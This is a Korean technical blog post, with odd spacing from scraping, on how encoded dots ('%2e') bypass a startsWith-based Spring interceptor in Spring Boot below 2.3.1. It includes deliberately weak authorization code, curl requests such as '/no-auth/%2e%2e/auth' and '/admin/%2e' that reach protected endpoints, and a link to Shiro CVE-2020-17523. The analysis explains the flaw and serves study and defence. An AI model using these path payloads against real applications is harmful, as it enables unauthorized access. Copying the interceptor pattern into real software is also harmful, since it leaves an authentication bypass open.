SpringBoot 에서%2e 에 대한 Trick 에 대해 자세히 알 아 보기

7958 단어 SpringBootTrick%2e
SpringBoot 에서%2e 에 대한 작은 Trick 을 공유 합 니 다.결론 적 으로 SpringBoot 버 전이 2.3.0.RELEASE 보다 작은 경우 always UseFullPath 를 기본 값 false 로 하여 금 ServletPath 를 가 져 올 수 있 기 때문에 경로 가 일치 할 때%2e 를 디 코딩 하여 인증 이 돌아 갈 수 있 습 니 다.반면,높 은 버 전 으로 always UseFullPath 를 true 로 자동 으로 설정 하여 전체 경 로 를 열 고 안전 문 제 를 일 으 킬 수 있 습 니 다.
여기 서 우 리 는 하나의 예 를 통 해 이 Trick 을 보고 그 원인 을 분석 합 니 다.
일단 저희 가 SprinBoot 버 전 을 설정 해 보도 록 하 겠 습 니 다.

<parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.3.0.RELEASE</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
컨트롤 러 만 들 기

@RestController
public class httpbinController {
    @RequestMapping(value = "no-auth", method = RequestMethod.GET)
    public String noAuth() {
        return "no-auth";
    }
 
    @RequestMapping(value = "auth", method = RequestMethod.GET)
    public String auth() {
        return "auth";
    }
}
다음 에 대응 하 는 Interceptor 를 설정 하여 no-auth 를 제외 한 경로 에 대한 차단 을 실현 합 니 다.

@Configuration
public class WebMvcConfig implements WebMvcConfigurer {
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(handlerInterceptor())
                //      
                .addPathPatterns("/**");
    }
 
    @Bean
    public HandlerInterceptor handlerInterceptor() {
        return new PermissionInterceptor();
    }
}

@Component
public class PermissionInterceptor implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest request,
                             HttpServletResponse response,
                             Object handler) throws Exception {
        String uri = request.getRequestURI();
        uri = uri.replaceAll("//", "/");
        System.out.println("RequestURI: "+uri);
        if (uri.contains("..") || uri.contains("./") ) {
            return false;
        }
        if (uri.startsWith("/no-auth")){
            return true;
        }
        return false;
    }
}
위 코드 에서 알 수 있 듯 이 getRequestURI 를 사용 하여 경로 판단 을 진행 합 니 다.보통 starts With,contains 와 같은 판단 방식 을 볼 수 있 습 니 다.이것 은 안전 하지 않 습 니 다.우 리 는 돌아 가 는 방식 이 많 습 니 다.예 를 들 어...또는...등,하지만 사실 starts With 로 화이트 리스트 를 판단 할 때 구 조 는 디 렉 터 리 를 뛰 어 넘 는 기호 와 떨 어 질 수 없다.
그렇다면 상기 코드 와 같은 상황 은 어떻게 돌아 갑 니까?정 답 은%2e 입 니 다.
요청 은 다음 과 같 습 니 다.

$ curl -v "http://127.0.0.1:8080/no-auth/%2e%2e/auth"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET /no-auth/%2e%2e/auth HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 4
< Date: Wed, 14 Apr 2021 13:22:03 GMT
<
* Connection #0 to host 127.0.0.1 left intact
auth
* Closing connection 0
RequestURI 출력 은
RequestURI: /no-auth/%2e%2e/auth
%2e%2e 를 통 해 Permission Interceptor 의 판단 을 돌아 가 는 동시에 경로 가 성공 적 으로 일치 하 는 것 을 볼 수 있 습 니 다.경로 가 일치 할 때%2e 를 디 코딩 한 것 이 분명 합 니 다.
SpringBoot 버 전 으로 다시 전환 해서 볼 게 요.

<version>2.3.1.RELEASE</version>
요청 을 했 습 니 다.물론 차단 이 지 났 지만 일치 하 는 경로 가 성공 하지 않 았 습 니 다.404 로 돌아 갑 니 다.

$ curl -v "http://127.0.0.1:8080/no-auth/%2e%2e/auth"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET /no-auth/%2e%2e/auth HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 404
< Vary: Origin
< Vary: Access-Control-Request-Method
< Vary: Access-Control-Request-Headers
< Content-Length: 0
< Date: Wed, 14 Apr 2021 13:17:26 GMT
<
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0
RequestURI 출력 은
RequestURI: /no-auth/%2e%2e/auth
SpringBoot 버 전이 2.3.0.RELEASE 보다 작은 경우 경로 가 일치 할 때%2e 를 디 코딩 하여 인증 이 돌아 갈 수 있다 는 결론 을 얻 을 수 있 습 니 다.
그럼 왜 그 랬 을 까?
SpringMVC 에서 경로 매 칭 을 진행 할 때 Dispatcher Servlet 에서 시작 하여 Handler Mapping 에서 Handler 를 가 져 옵 니 다.이 럴 때 path 매 칭 을 진행 합 니 다.
코드 를 따라 가서 이 관건 적 인 곳 org.springframework.web.util.UrlPathHelper\#getLookupPathForRequest(javax.servlet.http.HttpServletRequest)를 봅 시다.
여기 서 재 미 있 는 현상 이 나타 납 니 다.2.3.0.RELEASE 에서 always UseFullPath 를 기본 값 false 로 합 니 다.

2.3.1.RELEASE 에서 always UseFullPath 는 true 로 설정 되 었 습 니 다.

이 로 인해 서로 다른 결 과 를 초래 했다.하 나 는 getPath WithinApplication 으로 향 했 고 다른 하 나 는 getPath WithinServletMapping 으로 향 했다.
getPath WithinServletMapping 에서 ServletPath 를 가 져 옵 니 다.ServletPath 는 디 코딩 을 합 니 다.이 많은 Tomcat url 차 이 를 말 하 는 글 은 다 언급 했 으 니 더 이상 말 하지 않 겠 습 니 다.그래서 결국 돌아 가 는 상황 을 설명 했다.
그러면 Trick 의 구체 적 인 설명 은 SpringBoot 버 전이 2.3.0.RELEASE 보다 작 을 때 always UseFullPath 를 기본 값 false 로 하여 금 ServletPath 를 가 져 올 수 있 기 때문에 경로 가 일치 할 때%2e 를 디 코딩 하여 인증 이 돌아 갈 수 있 습 니 다.
이 는 Shiro 의 CVE-2020-17523 의 한 자세 와 호응 하여 고 버 전 SpringBoot 만 있 으 면 됩 니 다.always UseFullPath 를 수 동 으로 설정 하지 않 아 도 됩 니 다.

$ curl -v http://127.0.0.1:8080/admin/%2e
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET /admin/%2e HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 10
< Date: Wed, 14 Apr 2021 13:48:33 GMT
<
* Connection #0 to host 127.0.0.1 left intact
admin page* Closing connection 0
관심 있 는 거 다시 봐 도 돼 요.추가 수확 이 있 을 지도 모른다 고.
그 나 저 나 왜 하 이 버 전에 서 always Use FullPath 가 true 로 설정 되 었 을 까?
org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration.WebMvcAutoConfiguration Adapter\#configurePathMatch 로 거 슬러 올 라 가 야 합 니 다.
spring-boot-autoconfigure-2.3.0.RELEASE 에서

spring-boot-autoconfigure-2.3.1.RELEASE 에서

왜 이렇게 설 치 했 어 요?git log 를 살 펴 보고 답 을 드 렸 습 니 다.

https://github.com/spring-projects/spring-boot/commit/a12a3054c9c5dded034ee72faac20e578b5503af
Servlet 맵 이'/'일 때 정 부 는 이러한 설정 이 더욱 효율 적 이 라 고 생각 합 니 다.요청 경로 의 처리 가 적 기 때 문 입 니 다.
servlet.path 를 설정 하 는 것 은 다음 과 같 지만 특별한 수요 가 없 는 한 이렇게 설정 하지 않 습 니 다.

spring.mvc.servlet.path=/test/
따라서 마지막 으로 SpringBoot 버 전이 2.3.0.RELEASE 보다 작은 경우 always UseFullPath 를 기본 값 false 로 하여 금 ServletPath 를 가 져 올 수 있 기 때문에 경로 가 일치 할 때%2e 를 디 코딩 하여 인증 이 돌아 갈 수 있 습 니 다.한편,고 버 전 은 효율 을 높이 기 위해 always UseFullPath 를 true 로 자동 으로 설정 하여 전체 경 로 를 열 었 고 이 는 Shiro 의 CVE-2020-17523 중의 이용 자 세 를 만 들 었 다.
SpringBoot 의%2e 에 관 한 Trick 에 대한 자세 한 설명 은 여기까지 입 니 다.SpringBoot Trick 에 관 한 더 많은 내용 은 저희 의 이전 글 을 검색 하거나 아래 의 관련 글 을 계속 읽 어 주시 기 바 랍 니 다.앞으로 도 많은 응원 부 탁 드 리 겠 습 니 다!

좋은 웹페이지 즐겨찾기